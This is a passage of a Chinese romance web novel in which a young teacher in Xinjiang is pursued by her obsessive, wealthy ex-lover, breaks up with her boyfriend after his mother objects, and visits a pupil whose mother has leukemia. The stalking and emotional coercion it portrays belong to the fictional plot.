“你以为这样就能威胁到我?”岑尽白盯着她细嫩手腕上的疤痕,攥紧了手,那只被夹的手又泛起麻,用力掐着才能用疼痛盖住这样的麻意。 这个卫生间建了几年了,此刻,不知哪里传来水的滴答声,将这里衬出有些诡异的安静。 “不是威胁,是替我自己找一个生路。”她一字一顿,咬字很清晰,目光直直地看着他。 岑尽白仍旧冷漠,对她说得话也没有任何反应。 舒颜的腿抖了下,连带着举起来的那只手,岑尽白这样的反应,让她心中失了底气。 正要将手放下,面前的男人忽然哭了,哭得没有声音,但是大颗大颗的眼泪是真实存在的。 他靠近她,拉着她那只手,抚摸着那个疤痕,弯着腰,语气卑微又透着无奈:“那你跟他分手好不好,只要分手……” 舒颜知道自己刚刚说得话奏了效,又呆滞了好一会儿,甩开他的手,没有回答他的话,走出了卫生间。 男人愣愣地看向她刚刚站着的方位,弯着的腰直起,一米九的身高无论怎么看都很有压迫感。他看向镜子里的自己,抬手将脸上的泪水擦干,蓝色的眸子被水洗过,亮得惊人。 威胁他吗? 用她的命威胁他,倒是真让他有些怕了。 岑尽白没法忽略,那一瞬间的慌张。 …… 走出卫生间的那一刻,舒颜的双腿其实都是软的,她刚刚在镜子里特意看了自己的脖子,岑尽白确实下手很轻,没有留下任何痕迹,只是唇有些红。 还没进办公室的门,就看见苏日娜和徐圆圆站在那里等她。 徐圆圆不客气地埋怨:“你干啥呢,上那么久?快半个小时了,就算是蹲坑玩手机也早该出来了?” 苏日娜点头赞同:“就是就是,我刚刚还特意跑过去找你。” “对不起啊,耽误你们时间了,”早知道她就应该发信息让她们先走,不至于等她那么久,她还不好解释。 舒颜不好意思地笑笑,“我们现在去吃饭吧,你们想吃什么?” 徐圆圆和苏日娜早就饿了,着急去吃饭,也没在意舒颜连借口都没找,拉着她就走。 “去吃镇子那家清真拉面吧,我偶然间发现的,挺好吃,带你们尝尝。”徐圆圆提议道。 舒颜和苏日娜没什么意见。 到了才知道,叶尔兰曾带着舒颜来过这家饭馆,也夸这家很好吃。老板还认识舒颜,上来就喊她:“哟!是叶尔兰的女朋友!” 徐圆圆和苏日娜看向她,挑眉,原来叶尔兰早就带着舒颜来过了。 舒颜镇定自若,算是热络地回了老板招呼。 三人挑了一个地方坐下,徐圆圆和苏日娜开始扯话题,舒颜偶尔插几句,都有些心不在焉。 正吃着面,苏日娜聊的话题突然从化妆品转向了学校里来访问的那个有钱人。 “嗳,小颜,听说今天他第二节去了我带的班,还呆了一节课。那节课是你带的吧,你算是看到真容了,怎么样,是不是很帅?”苏日娜的双眼亮晶晶,燃着期待的光。 舒颜刚吞下一口面,咳嗽几下,差点吐出来。 徐圆圆递给她一杯水,“慢点,别激动。” “谢谢,”舒颜接过,想起岑尽白那张靡丽的脸,违心道,“还行。” “怎么就还行了?听说可是巨帅无比,身材气质长相哪哪都好,你是不是谈恋爱谈傻了?情人眼里出西施,觉得这天底下,叶尔兰最帅?”苏日娜有些激动地问。 舒颜有些心虚地低下头。 其实岑尽白的长相一直很符合她的审美,可以称得上美,只要打扮一下,就像她小时候怎么抖得不到的洋娃娃。不然一开始她也不会主动去接近他,只是后来发现被他的外表欺骗了。 徐圆圆眯着眼,“你是不是也觉得那个人更帅,怕在我们面前夸他,叶尔兰知道了会不高兴?跟你闹矛盾?” 这是连借口都给她找好了? 舒颜摇摇头,做出一副坦言状:“可能是我,不太喜欢他的长相吧。” 此话一出,苏日娜和徐圆圆盯着她,最终选择相信,但还是问:“那他在你课上怎么呆那么久?他做了什么?你们说话了吗?他声音好听吗?” 舒颜夹了一筷子面,想搪塞过去:“我没有注意,也没有跟他说话。” 苏日娜和徐圆圆一脸可惜,叫着舒颜太不争气了,怎么会有人不喜欢看帅哥呢? 舒颜的眉心皱了下,其实她也喜欢皮相好看的人,只不过岑尽白…… “好了,快吃面吧,面都坨了。”舒颜催促另外两个人。 饭桌上恢复安静,舒颜慢腾腾喝了一口汤,没人打扰下思绪又在飘远。 刚刚,她居然在威胁岑尽白。 她不知道自己哪里来的底气去威胁他,再次被他逮住的这种情况,她在梦里预料到好多回,梦里她的无措害怕的,可真正发生的那一刻,他站在她面前的那一刻,她却敢赌一下,赌岑尽白对自己,到底有多在乎,赌他对她的底线到底在哪里。 她不想死,不知从什么时候开始,她开始怕死了。 可能离开舒芸后,她真的体会到一些世俗的快乐。 有了工作,有了同事和朋友,甚至意想不到,有那么多可爱的学生喜欢她。 这些都是她曾经没有体会过的,有了和之前生活的对比,她不想失去。 在面对岑尽白的出现,她慌乱,也在暗中观察。 就在刚刚的卫生间,她看着他求她,看着他哭,萌生出一个荒诞的念头,要不然,就驯服他吧,既然他这样离不开自己,那就让他听她的话,在他的庇护下,让任何人都没法破坏她的生活。 “舒颜,你发什么呆呢?刚刚叫着我们的面坨了,你也没往自己嘴里送多少啊?”徐圆圆的声音,将舒颜拉回现实。 舒颜低头看了眼自己的面,确实坨了,她也没什么食欲,索性不吃了。 苏日娜和徐圆圆比她吃得都多,鄙夷她:“浪费!” 舒颜没有反驳,耸了耸肩:“我真吃不下了。” 两人没再勉强她。 徐圆圆忽然瞪着眼,指着舒颜的唇问:“小颜,你的嘴唇怎么又红又肿的?” 苏日娜也看过来,“是啊,像是……”她的眼神变得暧昧,但是叶尔兰不在学校,这种可能也就不成立。 舒颜被她们问得愣了下,尤其是看到苏日娜的表情,知道她在想什么,心下一慌,解释道:“上火了,有些痒,我还总是又咬又舔的,就变成这样了。” 苏日娜点头,不知道信没信,说了句:“害,我还以为是被人亲成这样的呢,我之前大学时也谈过一个男朋友,那男朋友每次都咬我,没个轻重的,后来被我踹了。” 舒颜听此低下头,又咬了下自己的唇。 岑尽白也特别喜欢咬人,最喜欢咬的地方,还不是嘴唇。 70-75 第71章 “你要坐我的脸上吗?” 母胎单身的徐圆圆对着苏日娜流露出羡慕的眼神,“啊啊啊,我还没交出自己的初吻呢!”她晃着苏日娜的肩膀,“快告诉我,接吻是什么感受?” 苏日娜对着舒颜会心一笑,舒颜深觉她又要口出狂言了。 果然,苏日娜说:“时间久了,我都忘记了。小颜不是正在和叶尔兰谈恋爱,你问问她啊!” “话说,你们亲了吗?”这句话,是直接对着舒颜问的。 舒颜:“啥?” 苏日娜重复:“问你和叶尔兰有没有亲过,什么感受?” 桌子底下,舒颜两只手捏在一起,反反复复,脑子里回忆的并不是叶尔兰,而是另一个男人:“没有。” “那你们进度……还是蛮循序渐进的……”苏日娜委婉评价。 “……嗯,是这样。” 徐圆圆在一旁若有所思。 叶尔兰不像岑尽白,相较于岑尽白狼一般的强势,叶尔兰简直像是蜗牛爬。不过舒颜能接受,现在让她想想和叶尔兰接吻,她大概,也会觉得有些别扭吧。 徐圆圆托着下巴,忽然说:“嗯……小颜你不要吝啬,你之前和男朋友,不是还……” “圆圆。”舒颜不想让她提,即便她脑子里已经想到了那些场景。 阴差阳错让徐圆圆知道过去的事情,舒颜已经很后悔了。 苏日娜眨眨眼,精明如她,会意到徐圆圆的未尽之意。 “欧克欧克,不提了,都是过去式了。俗话说,前男友还是死了的好。”徐圆圆向舒颜投去一个“你放心”的眼神。 苏日娜没追问,但是直觉告诉她,舒颜身上有故事。 看起来纯得要死,但是跟叶尔兰的相处,舒颜并不是那么上心。 三人也吃得差不多了,苏日娜拎上包,“好了,回学校休息一下,还得上下午的课呢。” 没浪费时间,三人打着太阳伞,往学校赶。 午饭时间,这条街上人也比较少,只有几家饭店里人是多的,其他都很少,路过一家卖烧饼的炉前,舒颜看见一个瘦弱的背影。 她一眼认出那是今天没来上课的阿伊古丽,拍了拍身旁的苏日娜:“那是阿伊古丽。” 苏日娜顺着舒颜指得方向,也一眼认那个背影,“是阿伊古丽,她在买饭吧,她妈刚化疗完,不想住院,跑回家住,只有阿伊古丽照顾她。” 不远处的阿伊古丽认真数了数身上的零钱,递给卖烧饼的老板。 两个烧饼,就是她和妈妈今天中午的午饭。 苏日娜扯了扯舒颜,“赶紧走吧,咱也不能为她做些什么,白血病的治疗可不是一个小数目,听说已经在筹钱做移植手术了。” “骨髓移植吗?谁给谁?” 徐圆圆:“阿伊古丽和她妈妈相依为命,没别的亲人,估计就是阿伊古丽给给她妈妈吧。” 舒颜脚步没动,还在看。 阿伊古丽接过两个烧饼,转过头,隔着不远的距离与舒颜遥遥相望。 她的双眼很大很清澈,一眨不眨地看着舒颜,看了半分钟,然后低下头。 就在舒颜以为她会跑来打招呼,她却将两个烧饼塞进怀里,朝着反方向跑了,跑得很快。 舒颜喃喃几句:“可是,她还那么小……” 苏日娜和徐圆圆也对阿伊古丽抱有同情,但是人各有命,她们也无可奈何,大家都是普通人。 “走吧。”苏日娜说。 徐圆圆挽着舒颜的手臂,跟上前面的苏日娜。 …… 午休时,舒颜没怎么睡着,阿伊古丽的眼神,一直徘徊在她脑子里 但是她知道,她帮不了她。 下午舒颜没什么课,打算去看望一下叶尔兰。 其实她自己想不到要做这样的事情,还是苏日娜提醒她。 “叶尔兰都受伤了,你身为女朋友,应该看望一下他,这不是情侣之间的基操吗?反正你下午没课。” 对啊,她和叶尔兰是情侣。 情侣是什么样的,她一点都不了解,之前和岑尽白的关系,不清不楚,谁都没有去界定过那段关系。 现在她已经打算谈一场正式的恋爱了,就应该好好对待。 她自动忽略了岑尽白的出现,以为自己还能继续过平静的生活。 于是,舒颜在微信上,给叶尔兰发信息说要去看看他,问他方不方便。 叶尔兰回得很快,几乎是立刻。 【你是说,你要来看望我?】 【当然可以!我和我爸妈一起住,不过,他们现在不在家,你不用怕尴尬,直接来就好,什么都不用带。】 看到叶尔兰和他爸妈一起住,舒颜还在犹豫,但看到他父母不在家,她还是决定去看看她。 恋爱期间,叶尔兰对她很好,就像苏日娜说的,她也应该做一些身为女朋友应该做的。 叶尔兰的家离学校不远,走路要十几分钟,电动车只要五分钟。 他出车祸,就发生在他骑电动车来学校的那五分钟。 舒颜买了一些水果,准备步行到叶尔兰家。 镇上虽然都修了水泥路,但路两旁还有未开发的地皮,干燥天气很容易起灰尘,特别是来往车辆较多的时候。 舒颜捂着口鼻,后悔出来的时候没有戴上口罩。 一辆白色面包车从旁边飞速穿过,扬起一层薄薄的灰尘,能见度都变得低了许多。舒颜闭上眼睛捂住口鼻,心想今天又要洗头了。 空中飘荡的灰尘渐渐落下,身后传来渐近的引擎声,舒颜睁开眼,视野中出现一辆缓缓停下的黑车。 车身长,不染纤尘,每一处都透露着它的价值不菲。 这样高奢的车子,在这个小镇,几乎是看不见的。 如墨的车窗摇下,露出一张意料之中的脸。不知道什么时候,他换上了红色的耳钉,整张脸本来就出挑,这下更有种诡异的艳丽。 他歪着头,跟上午完全不一样的状态,上午强势地想要将她掐死,这个时候乖的像个摇尾巴的狗。 “要去哪?需要我载你吗?”声音也是清澈好听,柔得有些阴,笑容和他耳朵上的红钻一样在发光。 蓝眸漫不经心地掠过她手中拎着的水果袋。 但是舒颜早就看透了他的本性,他只不过是,将獠牙收了起来,勉强在她面前扮作摇尾巴的乖狼。 舒颜只看了他一眼,将目光转移,目视前方。 上了他的车,他指不定要将她送到哪里。 岑尽白笑容不变,控制着方向盘,踩着刹车,与她步行保持一样的速度。 这样的庞然大物,这样的龟速,真是委屈了。 舒颜停下,它也停下。 她侧头:“别跟着了,知道我去干什么吗?” 岑尽白看着她有些无奈的神色,眸色稍有些深沉,又加深了笑意,和那个纸做的狐狸笑得很像。 “不知道,我只是,怕你走得累。你看,空气里全是灰,吸到身体里是有害的。”他好言相劝。 舒颜继续走自己的,估摸着还有几分钟就到了。 她说:“我要去我男朋友那,你也要跟?” 他带着笑意:“是要去跟他说分手吗?” 他想得还真美。 “不是。” 岑尽白不说话了。 舒颜也不去想他现在是什么表情。 他不走,舒颜根本赶不走他。 一个庞然大物跟在一旁,像是她在溜一个巨型玩具一样。 果然,没几分钟,就到了叶尔兰微信里发来的位置。 是个还算新的居民楼,叶尔兰说他住在二楼。 舒颜到了楼下,给叶尔兰发消息说她到了楼下,等下就上去了。叶尔兰下来接他,舒颜考虑到他还有伤,没让。 头顶一片阴影,舒颜发完消息抬头,就看见岑尽白在看她的手机,上面是她和叶尔兰的聊天记录,舒颜按了息屏。 她对他说:“岑尽白,如果你还用之前那种方法,像威胁齐刚和明与成那样威胁叶尔兰,那我立刻就知道是你做的。他后面如果发生什么事,我都会怪在你身上,大不了就鱼死网破,你死我活。” “你懂我意思吗?” 岑尽白立在那里,为她遮住晒人的太阳,唇角扯了扯,有些玩味:“不懂。” “你很喜欢他吗?比对齐刚和明与成还喜欢吗?比对我……还喜欢吗?” 他去拉她的手,被她躲开。 身体还退后几步,离他更远了些。 她皱眉,觉得岑尽白说话越来越有病了,她什么时候说过她喜欢齐刚和明与成了?什么时候说过喜欢他? 床上被逼着说,那都不算。 “我喜欢谁,那是我的事情,和你已经没有关系了。要不然你就把我抓起来,反正你想困住我,不是易如反掌吗?”其实舒颜知道,最坏的结果就是如此。 岑尽白沉默一瞬,笑出声音,摸了摸耳朵上的耳钉:“你说的对哦。要是那样的话,你就能永远呆在我身边了,”他上前一步,朝着舒颜身后的楼梯口看了一眼,有人从那里上楼,驻足往这边看。 他伸出手,将她的手放在自己脸上,即便她在挣扎:“可是颜颜,我真的不愿意走到和你一起去死的地步,你可不可以,不要逼我?” 究竟是谁在逼谁? 他的脸微凉,皮肤细腻光滑,舒颜却无心感受,更何况他还一脸陶醉,让她心中发毛,直起鸡皮疙瘩。 他笑得荡漾,变态一般捏着她的指骨:“你不是喜欢我这张脸吗?我出车祸时都护着它呢,生怕毁了这张皮,你就不喜欢我了。对了,你要坐我的脸上吗?我最近……” 简直不堪入耳! 舒颜使劲将手从他脸上拿开,另一只手上拎的水果落在地上,不知道会滚落在哪里。脸上泛起不正常的潮红,用那个摸过他脸的手,给了他一巴掌。 清脆的一声,舒颜都感叹自己居然能使出这样大的力气。 白皙滑腻的半边脸,瞬间长了一个鲜红的掌印。 舒颜听到他笑了一声,捂着脸偏头看她,蓝眸带着隐隐的兴奋:“打得好,你还能生我的气,说明还是在乎我的。” 力的相互作用,舒颜的手心又疼又麻,喘着气看他,一个字一个字地从嘴里蹦出来:“你他。妈就是一个疯子!” “呵呵……” 他笑得抖起了肩膀:“颜颜,小声点,你男朋友要听到我们的声音了。” 第72章 “我当你的宠物” 舒颜打了岑尽白一巴掌,甚至着急上火说了脏话,他还跟个没事人一样,站在那里冲她笑。 还是她先扛不住,地上的水果也不捡了,直接头也不回地跑。 不该招惹他的。 这个想法在舒颜的脑海里盘旋了不知多久。 跑上了二楼,舒颜没直接敲叶尔兰家的门,而是靠在墙角,回头看岑尽白有没有追上来。 还好没有。 其实跑上楼她就后悔了,万一岑尽白没什么底线地追上来,和她一起去见叶尔兰,那个场面,她都不知道怎么应对。 舒颜看向掌心,手上还残留着打他脸后的余韵麻意,做了几个深呼吸,舒颜敲了叶尔兰家的门。 门打开,不是叶尔兰,是一个中年妇女,五官深邃,不是汉族人。 中年妇女用一种说不清的眼神上下打量着她。 舒颜还以为自己走错地方了,刚要开口说话,中年妇女身后传来声音:“妈,是小颜吗?你快让她进来啊!” 原来这是叶尔兰的妈妈。 不是说不在家吗? 但是舒颜还是礼貌跟她问了好:“阿姨好。” 女人看舒颜的眼神,并不算友善,蹙着眉头。 叶尔兰单脚跳过来:“妈,我不是跟你说了吗?小颜是我女朋友,你快让人家进来啊!” 叶母又盯着舒颜看了几秒,侧身让了路:“进来吧。” 叶尔兰上来要拉舒颜的手,叶母拦住,拽着儿子去了沙发那里:“受伤了就不要乱动!人家有腿会走!” 舒颜因为叶母的态度在门口犹豫了会儿,还是进来。 叶尔兰坐在沙发上也不忘舒颜,拍了拍身旁的位置:“小颜,你坐这儿!” 叶母给了他一个白眼:“人家想坐哪坐哪,你操什么心啊?” 舒颜身形顿了下,脸上笑容维持着,坐在单人沙发那。 叶尔兰有些尴尬地挠挠头,他没想到自己妈对舒颜态度这么差,明明他说他谈恋爱的时候,老妈还是很开心的啊。 “小颜,我妈是……刚回来。”叶尔兰小声跟舒颜解释。 舒颜点点头,说没事。 叶母沉默地看着舒颜,眼里全是不满意,最后没多说什么,像是不想在这里多呆,直接走了。 叶尔兰松了口气,但是他妈对舒颜的态度,还是让他有些尴尬。 “小颜,我妈一开始听说我谈恋爱不是这样的,今天可能是吃错药了,到时候我再说她。”叶尔兰小心地看着舒颜,语气带着安慰。 “没事的,我就是来看看你怎么样了?刚刚看你还在单脚跳,明天不能上班吧?”舒颜表示不在意叶母对她的看法,扯开话题。 “哦,没啥大事,就是有些肿,还是能继续上课的。刚刚只是太着急,正常两只腿落地,只要慢一点,是没事的。”叶尔兰说。 舒颜点点头,没再多说些什么。 叶尔兰热切地跟她找着话题,中间叶母出来过一次,仍然对着他们没有好脸色,但是端了茶出来。 “谢谢。”舒颜接过。 叶母皱着眉看她,欲言又止。 舒颜看得出来,叶母对她不满意,直接点出,“阿姨您是有什么话要跟我说吗?” 叶尔兰也不明所以,从见到舒颜开始,他妈对舒颜的态度就不好,明明之前很赞成他恋爱,让他快些将人家姑娘娶回家。 杯中的茶叶浮上来,散发着苦茶的清香,舒颜抿了一口,觉得喝不习惯,放到桌上。 小姑娘皱着眉喝苦茶的样子落在叶母眼里,“不喜欢喝茶吗?静不下来心吧小姑娘?” 这句话落在舒颜耳中,不知道是不是她太敏感,仿佛有深意一般。 “刚刚我经过楼下,我都看见了。”叶母看着舒颜,目光如有实质。 叶尔兰心惊:“妈,你看见……什么?” 叶母:“妈一回来不是跟你说了,你还问,我看小颜啊,也看不上你的,你们不合适。” 茶的苦味在舒颜的舌苔上蔓延,舒颜双手垂落在膝盖上,指甲无意识地扣着牛仔布料。 “阿姨……”舒颜抬头,想解释什么,但看到叶尔兰拉下的难看脸色,闭上了嘴。 “刚刚在楼下,那个和你拉拉扯扯的男人,是你什么人?看着也不像是普通人。”叶母的声音缓下来,不像刚见到舒颜时那样尖锐。 “他是……”舒颜吐出两个字,又止住。 叶尔兰嘴唇嗫喏,想起他妈回来时说的话,期待地看向舒颜。 该怎么定义和岑尽白的关系,明明现在什么关系都没有了。 但和他牵扯不清的样子,还是被男朋友的妈妈看见了,并告诉了男朋友。 小姑娘的长相乖乖的,是叶母喜欢的类型,如果不是在楼下看到她和另外一个男人拉拉扯扯,也许她现在会将她当作未来儿媳一样对待。 虽然看起来不像是会做坏事的小姑娘,但人不可貌相,事关儿子的婚姻大事,她不能心软。 “是你的前男友吗?” “不是。” “听说你刚来这里三个多月,是从你之前的地方追你过来的?” “是。” “你和他现在什么关系?” “没关系了。” “你喜欢他吗?” “不喜欢的。” …… 叶母连番追问,舒颜都回答了。 听到舒颜说“没关系了”“不喜欢”,叶尔兰眼睛又再次亮了起来。 叶母看着舒颜发白的脸,叹了口气。 “你能保证他不会再来找你吗?”这像是给舒颜的一个机会。 “妈——” 叶母扭头警告叶尔兰:“你别说话。” 舒颜知道,这个回答,可能决定叶母对叶尔兰和舒颜这段关系的态度。 她犹豫几秒,仰头跟叶母说:“我不能保证。” 叶母神仍旧温和:“那抱歉了,小姑娘,你和叶尔兰的事,我不能同意。” 叶尔兰还在挽留:“妈,小颜都说了,她不喜欢那个人,是那个男人在纠缠她!” 叶母一记眼刀飞过去,但叶尔兰仍不甘心。 舒颜没看叶尔兰,而是站起身:“我先走了阿姨。” 叶母点点头,端起一杯茶,啜饮一口。 舒颜直接往门口走。 叶尔兰站起身:“小颜!” 叶母按住叶尔兰,“受着伤呢?你能追上?” “你为什么要这样说小颜?她都说了她是被那个男人逼迫的,她是个好女孩!” 对于儿子的质问,叶母淡淡说:“儿子,她不适合你,那个纠缠她的男人,不是我们能惹得起的,我看到他开得车了,你当一辈子老师都赚不到那些钱。” 现实的打击让叶尔兰重新跌坐在沙发上,没再起身去追。 “但是,小颜不是这样的女生,虽然我没那个男人有钱,但是我追上小颜,他没追上不是吗?” 叶母斜了眼自己的儿子:“可能你只是个工具人,还可能是人家小姑娘换换口味。”她话说得不委婉。 “我们斗不过有钱人,我可就你这一个儿子,你可别给我出什么事,跟人家小姑娘分手吧,她在这也呆不久的。” …… 舒颜从叶尔兰家中出来,人还有些怔愣,下楼后环绕四周,搜寻着那个身影。 他还在,靠在墙根,指尖夹着一根烟。 朦胧烟雾中,高大的身影微微佝偻着,手里还拎那些掉落在地上的水果。 这样看着,竟会觉得他身上有些忧郁的气质,但是他一转身,见她下来,掐灭了烟,又是那样的邪笑,那股子忧郁也散了,像是错觉。 “看望完你的男朋友了吗?聊得好吗?”可能是刚吸过烟,他的声音带着颗粒感。 “谈得很好。” 岑尽白呵笑一声,带着嘲讽。 嘴真硬啊。 “要我送你回去吗?” 舒颜盯着他看了几秒,想看出点什么,但是这家伙面对她时总是笑,她什么都看不出来。 不远处就是岑尽白的车,舒颜本来就有些累,直接走过去。 本想坐后座,但是拉不开门,岑尽白笑着走过来,说话都带着愉悦的宠溺:“坐前面好吗?” 舒颜懒得跟他计较,拉开副驾的车门,坐了进*去。 岑尽白嘴角勾着满意的弧度,将那袋水果放进了后座,坐进了驾驶座。 舒颜观察了会儿,见他确实是往学校那个方向开,放下心。 兜里的手机一直在震动,舒颜拿出来看过,是叶尔兰,顾忌着是在岑尽白车上,她没接。 岑尽白注意到,没说什么,也没故意跟舒颜找话题。 车子停在学校附近,正是上课,没什么人会注意。 正准备下车,舒颜的手被旁边的人拉住。 “我要回楠溪市了。” 舒颜身形顿住,心里因为他这句话泛起涟漪。 “哦。” “你乖乖的,别乱跑,我会再来找你的。”他口气中带着哄意。 舒颜甩掉他的手,下了车:“我是你的宠物吗?” 想来看就看,想来摸就摸。 岑尽白那只手本来就被门夹过,她一甩开,磕在引擎盖上,发出骨头碰撞的声音,他连眉毛都没皱一下。 “我当你的宠物。”他从车里看外面的她,眼中有诡异的深情流淌。 舒颜愣住几秒,甩上车门快步进了学校门。 叶尔兰还在坚持不懈地给她打电话,舒颜回到宿舍接了一次,她说:“你妈不让你跟我在一起,别在我这浪费时间了。” 后面再打来的电话,舒颜都没再接。 接下来的两天,舒颜照常上班,岑尽白没有出现,叶尔兰也没有来上班。 有时候办公室八卦,仍会提到岑尽白。 舒颜并没有因为他的离开松了口气,内心有心有余悸,也有未雨绸缪。 工位上的仙人球,只开了四天,叶尔兰第三天来上班时,是它的最后花期。 两人一开始在办公室遇见,舒颜不会刻意去躲,仍旧和他打招呼,恋爱时两人没走到特别亲密的那一步,这时侯大家也看不出来两人关系转变。 叶尔兰有些惊讶她这样的洒脱,以为自己还有机会,就像之前一样,将准备好的小零食放在了舒颜的办公桌。 并看着开花的仙人球说:“还好我赶上了。” 舒颜浅笑,看着桌上的小零食,全是按照她重辣的口味买的,一时间也有些心酸。 “是啊,不知道能开多久。” 她还像是之前那样温柔,只是没再收下拿下小零食,塞回了叶尔兰的怀里,婉拒:“我最近上火,不能吃这些了,你拿回去吧。” 叶尔兰有些尴尬,但是他明白了舒颜的意思,她是真的要和自己分手,只是不想闹得难看。 几秒后,叶尔兰低声道:“好,我知道了。” 苏日娜和舒颜工位挨得近,敏锐地察觉到两个人的气氛不太对劲。 傍晚,舒颜与苏日娜和徐圆圆结伴去吃饭。 徐圆圆没发现什么,但是苏日娜却说:“前两天叶尔兰请假,你和我们一起去吃饭我理解,今天叶尔兰来了,你怎么还和我们一起,你和叶尔兰闹矛盾了。” 舒颜也不藏着掖着:“分手了。” 徐圆圆和苏日娜俱都惊讶:“因为什么?” “他妈妈不喜欢我。” “你们都到见家长的地步了?” “去看叶尔兰时见的。” 舒颜不想多说,催着要去吃饭。 徐圆圆和苏日娜眼观鼻鼻观心,不再多说。不受男朋友家长的支持,大部分的情侣都是要分的。 第73章 “你想要我” 吃饭时,气氛有些沉。 因为爱开玩笑的苏日娜和徐圆圆变得沉默了。 舒颜叹口气:“分个手而已,我没有不开心,你们别太在意,该说什么开心事就说。” 本来想谈一场正常恋爱,结果还是没体验到,舒颜分手后的心情只能说是有些遗憾。 苏日娜和徐圆圆对视一秒,笑了笑。 “跟你分手,该叶尔兰哭,舒颜你不难过是对的。”徐圆圆帮着好朋友说话。 “啥该谁难过,我跟他,不过是刚确认关系,只是到……牵手阶段。”舒颜语气确实是不伤心。 徐圆圆:“嘿嘿,那就好那就好。” 苏日娜瞄了一眼舒颜,突然道:“其实你根本就不喜欢叶尔兰。” 舒颜拿筷子的动作顿了下,垂着眸没回答。 苏日娜的眼神带着审视,但是她没多说什么,旁边的徐圆圆扯了扯她的袖子:“人家都分手了,别说这些了。” 舒颜扒着碗里的饭,很安静。 苏日娜还是盯着舒颜,就在前几天,她看见舒颜从一辆黑色豪车里面出来,当时没多想,但是得知舒颜分手,就忍不住把舒颜往坏女人方向想。 小地方几乎看不见豪车,何况那豪车曾经在学校门口停过一次,她不会认错。 …… 苏日娜不住学校,吃完晚饭,舒颜和徐圆圆一起回学校宿舍。 这时的天还没有彻底黑,但已经被灰蒙蒙笼罩着,叶尔兰站在她们宿舍门口,身上也蒙着一层忧郁,正看着舒颜。 舒颜看见了他,但没打算去理,拉着徐圆圆径直越过。 叶尔兰叫她:“小颜……” 舒颜停下,没回头地跟他说:“你走吧,分了就是分了,这不是你的错,也不是你妈妈的错。” 徐圆圆在一旁,有些尴尬,但没多插嘴。 …… 两人的宿舍房间挨着,舒颜的门口明显地摆着一个大箱子。 徐圆圆:“你买快递了?” “没有啊。”舒颜也疑惑这是从哪来的。 徐圆圆看着这像一个快递,蹲下身子查看。 “是从楠溪市发来的嗳,舒颜你不是从楠溪市过来的,是你那边的朋友家人发来的吗?” 听见“楠溪市”三个字,舒颜身子一抖,忙将徐圆圆拉起来,跟她说:“不是谁发来的,是我之前买的一个快递,我给忘记了。” 徐圆圆点点头。 “那要我帮你一起搬进去吗?” 这箱子看起来蛮大的。 “不用了,你回去睡吧,我一个人可以。” 徐圆圆也没坚持,开了隔壁的门进去了。 舒颜一个人,费了些劲将箱子搬进去。 她看着这个大箱子,犹豫了几秒,还是将箱子打开了。 最上面一层,是几束枯萎的栀子花,不算是枯萎,应该是干花,形状和盛开时没两样。 再往下,是一幅画。 画是朝下的,将它翻过来,上面画得是一对男女在海中接吻的画面。 女人穿着白裙子,男人的手强势地放在她的腰背,两人闭眼吻得投入,他们的身后,是席卷而来的巨浪,能瞬间将他们淹没。 舒颜双手端着这幅画,看了许久。 从千里之外的楠溪市送到这里来,不空运的话,应该需要四五天。 画的下面还有东西,是一个礼盒,打开后里面装着一双白色珍珠环扣的高跟鞋。 舒颜将这些东西,全都塞到了床底下,没有欣赏和使用的意思。 * 后面一周,新疆处于进入初夏的节点,还下了场雨,洗净了空气,雨后也更加炎热了些。 周五最后一节课,舒颜教了学生剪纸,示范一遍后,巡视学生们的完成情况,偶然瞥见阿伊古丽空着的座位。 舒颜不是每天都给这个班上手工课,“阿伊古丽这一周都没来上课吗?” 阿伊古丽的同桌回答:“没来过,听说她的妈妈生病了。” “老师知道了。” 没想到上课刚问完,下课苏日娜就跟舒颜说了阿伊古丽的情况。 “阿伊古丽的妈妈要做手术,骨髓移植需要很多钱,学校给筹的钱不够,现在也不知道怎么办,我给她打电话,她总是在哭,才九岁的小女孩,哎!” 舒颜听到这话沉默下来,睫毛颤动。 她和阿伊古丽一样,自小和妈妈相依为命,母女之间有些神奇的纽带,相似的血脉让阿伊古丽有机会和妈妈的骨髓配对。 “要去看看阿伊古丽吗?正好明天没什么事。”舒颜说。 “啊?” 舒颜和苏日娜约好,这周六去看望阿伊古丽。 周六这日,舒颜和苏日娜乘着破旧的城乡公交,前往市里面的医院。 阿伊古丽妈妈的病情恶化,不能因为要省钱就不住院。 从城乡公交下车后,俩人又买了些补品,当作看望病人的礼物。 医院门外,苏日娜皱着眉看手上这些东西,“舒颜,我以为你对谁都很冷淡的,没想到对阿伊古丽这么上心。” 从舒颜来到这里,她因为外貌好看,别人就算是对她热切,她也回应地很冷淡。再到她和叶尔兰恋爱分手,这段时间,叶尔兰总是找舒颜,但舒颜不想和他再有牵扯,直接招呼都不打,就这样冷着。 叶尔兰因此瘦了一大圈,人也是肉眼可见地消沉下去。 办公室还因为她和叶尔兰分手会觉得有些尴尬,但是舒颜像个没事人一样。 舒颜拎着补品,走进医院:“我做这些,有自己的原因。” “我以为你是可怜阿伊古丽。” 舒颜没说话。 苏日娜用下巴点着一个方向,“你看那儿。” 那里停着一辆黑色的卡宴,很招摇的牌子,遗世独立地停在那里,像是故意让什么人看见。 苏日娜边跟着舒颜往医院走边说:“那人来找你了。” 那人是谁?苏日娜不用多说。 舒颜朝那看了一眼,看不清挡风玻璃后面有没有人,抿了抿唇,收回目光。 “先去看阿伊古丽吧。” 苏日娜发出一声轻笑,舒颜没在意。 …… 俩人到病房时,阿伊古丽的妈妈正在吐,个子还很矮的阿伊古丽踮着脚给妈妈拍背,转头看见自己的班主任和老师,大眼睛里开始冒水汽。 “刚做完化疗,有些副作用,阿伊古丽,快把垃圾桶拿厕所里,别有什么气味。”阿伊古丽的妈妈抬头,苍白的脸上露出笑,“两位老师快坐。” 阿伊古丽擦了擦眼角的泪,低着头将妈妈吐过的垃圾桶拿到厕所,再出来时,眼睛红红的。 “没想到你们还来看我,学校里给组织募捐活动我们母子就已经感激不尽了。” 苏日娜笑着说:“阿伊古丽是学校的学生,大家能帮一些是一些。” 舒颜倒是很少说话,阿伊古丽跑过来,轻轻牵着她的手,指了指妈妈床头的花:“小颜老师你看,你教我折的花,我折了好多放在妈妈的病房,永远都不会枯萎。” 阿伊古丽希望她的妈妈,永远都不要离开她。 舒颜揩去阿伊古丽眼角的泪,回握住她的手,“阿伊古丽折的花,比老师折得要好看。” …… 从医院出来后,舒颜低着头,不知道在想什么。 苏日娜说:“那辆车还在,要去搭个顺风车吗?” 舒颜转头,那辆黑色的卡宴还停在原地。 “乘公交吧,我想坐公交车。” 